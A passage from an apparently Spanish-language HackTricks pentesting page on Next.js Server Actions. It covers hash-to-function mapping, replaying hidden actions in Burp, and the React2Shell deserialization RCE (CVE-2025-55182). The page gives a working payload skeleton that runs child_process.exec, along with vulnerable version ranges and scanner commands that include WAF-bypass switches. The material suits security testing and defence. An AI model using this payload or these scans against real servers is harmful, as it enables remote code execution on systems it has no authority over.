Next-Actiony JS chunk URLs. - Recupera los bundles JS referenciados y los archivos
*.mapadjuntos (cuando estén presentes). - Ejecuta la regex anterior para construir un diccionario hash↔nombre.
- Usa el diccionario para orientar las pruebas:
- Triage guiado por nombre (p. ej.,
transferFunds,exportFinancialData). - Rastrea la cobertura entre builds por nombre de función (los hashes rotan entre builds).
Ejecución de acciones ocultas (template-based request)
Toma un POST válido observado en-proxy como plantilla y cambia el valor Next-Action para apuntar a otra acción descubierta:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Reproduce en Repeater y prueba la autorización, la validación de entradas y la lógica de negocio de acciones que de otro modo serían inalcanzables.
Automatización con Burp
- NextjsServerActionAnalyzer (Burp extension) automatiza lo anterior en Burp:
- Explora el historial del proxy en busca de JS chunks, extrae entradas
createServerReference(...)y analiza source maps cuando están disponibles. - Mantiene un diccionario buscable hash↔function-name y elimina duplicados entre builds por nombre de función.
- Puede localizar un POST de plantilla válido y abrir una pestaña Repeater lista para enviar con el hash de la acción objetivo insertado.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notas y limitaciones
- Requiere
productionBrowserSourceMapshabilitado en producción para recuperar nombres de bundles/source maps. - La divulgación del nombre de la función no es una vulnerabilidad por sí misma; úsala para guiar el descubrimiento y probar la autorización de cada acción.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapeo de la exposición de React Server Functions
React Server Functions (RSF) son cualquier función que incluya la directiva 'use server';. Cada form action, mutation o fetch helper vinculado a una de esas funciones se convierte en un RSC Flight endpoint que deserializará payloads suministrados por un atacante. Pasos útiles de reconocimiento derivados de las evaluaciones de React2Shell:
- Inventario estático: busca la directiva para entender cuántos RSFs están siendo expuestos automáticamente por el framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-apphabilita App Router + el directorioapp/por defecto, lo que convierte silenciosamente cada ruta en un endpoint capaz de RSC. Assets del App Router como/_next/static/chunks/app/o respuestas que streamean Flight chunks sobretext/x-componentson huellas fuertes visibles desde Internet. - Implicitly vulnerable RSC deployments: el advisory de React señala que las apps que distribuyen el runtime RSC pueden ser explotables incluso sin RSFs explícitos, así que trata cualquier build que use
react-server-dom-*19.0.0–19.2.0 como sospechosa. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reutilizan el mismo serializer y heredan la idéntica superficie de ataque remota hasta que incluyan builds de React parcheados.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: vulnerable en 19.0.0, 19.1.0–19.1.1 y 19.2.0; patched en 19.0.1, 19.1.2 y 19.2.1 respectivamente.- Next.js stable: las releases de App Router 15.0.0–16.0.6 incluyen el stack RSC vulnerable. Los trenes de parches 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluyen deps corregidas, así que cualquier build por debajo de esas versiones es de alto valor.
- Next.js canary:
14.3.0-canary.77+también distribuye el runtime buggy y actualmente carece de canary drops parcheados, haciendo esas huellas candidatos fuertes para explotación.
Remote detection oracle
Assetnote’s react2shell-scanner envía una petición Flight multipart construida a paths candidatos y observa el comportamiento del servidor:
- Default mode ejecuta un payload RCE determinista (operación matemática reflejada vía
X-Action-Redirect) que prueba la ejecución de código. --safe-checkmode malforma a propósito el mensaje Flight para que servidores parcheados respondan200/400, mientras que targets vulnerables emiten respuestasHTTP/500que contienen la subcadenaE{"digest"dentro del body. Ese par(500 + digest)es actualmente el oracle remoto publicado por defensores más fiable.- Los switches incorporados
--waf-bypass,--vercel-waf-bypass, y--windowsajustan el layout del payload, anteponen junk, o intercambian comandos OS para que puedas sondear assets reales en Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Referencias
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- assetnote/react2shell-scanner
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

